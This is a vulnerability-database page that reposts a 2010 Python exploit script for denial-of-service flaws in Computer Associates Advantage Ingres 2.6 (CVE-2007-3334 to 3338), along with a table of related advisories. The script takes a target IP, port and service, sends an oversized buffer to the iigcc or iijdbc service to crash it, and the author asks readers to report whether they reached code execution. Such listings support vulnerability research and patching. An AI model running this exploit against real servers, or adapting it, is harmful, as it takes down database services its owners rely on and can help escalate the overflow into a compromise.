Lucene search
K

Computer Associates Advantage Ingres 2.6 Denial Of Service

🗓️ 17 Aug 2010 00:00:00Reported by fdiskType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Computer Associates Advantage Ingres 2.6 Denial Of Service vulnerability on Windows 2003 Serve

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Computer Associates Advantage Ingres 2.6 Denial of Service
14 Aug 201000:00
zdt
Circl
CVE-2007-3336
14 Aug 201000:00
circl
Check Point Advisories
Ingres Database uuid_from_char Stack Buffer Overflow (CVE-2007-3338)
15 Nov 200900:00
checkpoint_advisories
Check Point Advisories
Ingres Database Communications Server Component Heap Buffer Overflow (CVE-2007-3334)
22 Jul 201000:00
checkpoint_advisories
Check Point Advisories
Ingres Database Communications Server Component Heap Buffer Overflow - Ver2 (CVE-2007-3334)
26 Mar 201500:00
checkpoint_advisories
CVE
CVE-2007-3334
21 Jun 200722:00
cve
CVE
CVE-2007-3336
22 Jun 200718:00
cve
CVE
CVE-2007-3337
22 Jun 200718:00
cve
CVE
CVE-2007-3338
22 Jun 200718:00
cve
Cvelist
CVE-2007-3334
21 Jun 200722:00
cvelist
Rows per page
`# Exploit Title: Computer Associates Advantage Ingres 2.6 Denial of Service Vulnerabilities  
# Date: 2010-08-14  
# Author: fdisk  
# Version: 2.6  
# Tested on: Windows 2003 Server SP1 en  
# CVE: CVE-2007-3334 - CVE-2007-3336 - CVE-2007-3337 - CVE-2007-3338  
# Notes: Fixed in the last version.  
# please let me know if you are/were able to get code execution <rr dot fdisk at gmail dot com>  
  
import socket  
import sys  
  
if len(sys.argv) != 4:  
print "Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>"  
print "Vulnerable Services: iigcc, iijdbc"  
sys.exit(1)  
  
host = sys.argv[1]  
port = int(sys.argv[2])  
service = sys.argv[3]  
  
if service == "iigcc":  
payload = "\x41" * 2106  
elif service == "iijdbc":  
payload = "\x41" * 1066  
else:  
print "Vulnerable Services: iigcc, iijdbc"  
sys.exit(1)  
  
payload += "\x42" * 4  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
print "Sending payload"  
s.send(payload)  
data = s.recv(1024)  
s.close()  
print 'Received', repr(data)  
  
print service + " crashed"  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation